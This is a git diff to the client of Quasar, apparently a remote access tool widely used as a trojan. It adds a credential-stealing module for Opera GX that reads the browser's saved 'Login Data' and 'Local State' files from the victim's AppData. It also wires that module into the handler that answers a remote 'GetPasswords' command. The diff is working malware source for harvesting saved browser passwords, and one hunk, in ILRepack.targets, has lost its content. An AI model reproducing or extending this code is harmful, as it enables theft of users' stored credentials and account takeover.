diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets index 581ece8f..38f60df7 100644 --- a/Quasar.Client/ILRepack.targets +++ b/Quasar.Client/ILRepack.targets @@ -18,9 +18,9 @@ OutputFile="$(TargetPath)"/> - + - + \ No newline at end of file diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index 84c685db..d94761ed 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -32,8 +32,9 @@ private void Execute(ISender client, GetPasswords message) var passReaders = new IAccountReader[] { - new ChromePassReader(), - new OperaPassReader(), + new ChromePassReader(), + new OperaPassReader(), + new OperaGXPassReader(), new YandexPassReader(), new FirefoxPassReader(), new InternetExplorerPassReader(), diff --git a/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs new file mode 100644 index 00000000..221996f3 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class OperaGXPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Opera GX"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera GX Stable\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera GX Stable\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs index 8bea095e..6511f081 100644 --- a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs +++ b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs @@ -16,7 +16,7 @@ public override IEnumerable ReadAccounts() try { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software\\Opera Stable\\Login Data"); + "Opera Software\\Opera Stable\\Login Data"); string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\\Opera Stable\\Local State"); return ReadAccounts(filePath, localStatePath);